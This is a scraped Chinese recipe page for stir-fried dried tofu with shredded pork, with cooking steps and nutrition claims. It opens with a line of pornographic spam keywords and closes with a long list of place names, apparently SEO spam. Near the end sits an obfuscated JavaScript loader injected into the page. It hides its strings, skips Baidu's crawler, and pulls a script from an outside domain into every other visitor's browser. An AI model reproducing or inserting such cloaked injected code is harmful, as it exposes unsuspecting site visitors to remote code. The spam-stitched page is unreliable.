亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

香干炒肉絲的做法及功效

2017-07-07 07:12:52  來源:360常識網(wǎng)   熱度:
導(dǎo)語:大家都特別喜歡吃肉吧,不知道大家吃沒吃過香干炒肉絲這道菜呢? 這是道特別好吃的菜,既美味又營養(yǎng)。而且四季皆宜,老少皆宜。所以也就自

大家都特別喜歡吃肉吧,不知道大家吃沒吃過香干炒肉絲這道菜呢? 這是道特別好吃的菜,既美味又營養(yǎng)。而且四季皆宜,老少皆宜。所以也就自然而然的成為了飯店的招牌菜,成為人們?nèi)ワ埖瓯攸c的菜,那么這道菜到底怎么做呢?下面我來具體介紹一下它的做法。

做法:

1. 香干,豬肉切成絲,加入料酒5克,淀粉,均勻上漿;

2. 蒜黃洗凈切成寸段;

3. 蔥、姜切成小片或末;

4. 鍋上火,油燒熱,用蔥姜熗鍋至香;

香干炒肉絲香干炒肉絲

5. 加入肉炒散變色后放香干、醬油、料酒、鹽煸炒均勻;

6. 放蒜黃、味精,迅速翻炒幾下,出鍋裝盤即成。

功效:

香干:香干含有豐富的蛋白質(zhì)、維生素A、B族維生素、鈣、鐵、鎂、鋅等營養(yǎng)元素,營養(yǎng)價值較高。

豬肉(肥瘦):豬肉含有豐富的優(yōu)質(zhì)蛋白質(zhì)和必需的脂肪酸,并提供血紅素(有機(jī)鐵)和促進(jìn)鐵吸收的半胱氨酸,能改善缺鐵性貧血;具有補(bǔ)腎養(yǎng)血,滋陰潤燥的功效;但由于豬肉中膽固醇含量偏高,故肥胖人群及血脂較高者不宜多食。

以上內(nèi)容為我們介紹香干炒肉絲的做法,香干炒肉絲之所以特別受歡迎不僅在于它的美味,而在于它獨有的營養(yǎng)價值,趕快去嘗試一下它的做法吧,美味營養(yǎng)雙管齊下。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
鄂伦春自治旗| 安仁县| 顺平县| 安西县| 南靖县| 苍南县| 柯坪县| 会同县| 手游| 安徽省| 全南县| 航空| 广水市| 渭源县| 农安县| 彰化市| 广安市| 临潭县| 华坪县| 永兴县| 福鼎市| 远安县| 永昌县| 启东市| 垫江县| 蒲江县| 大姚县| 昔阳县| 德州市| 三亚市| 昌都县| 阿瓦提县| 辽宁省| 石河子市| 鞍山市| 桃园市| 罗田县| 自贡市| 贵溪市| 云和县| 长治市|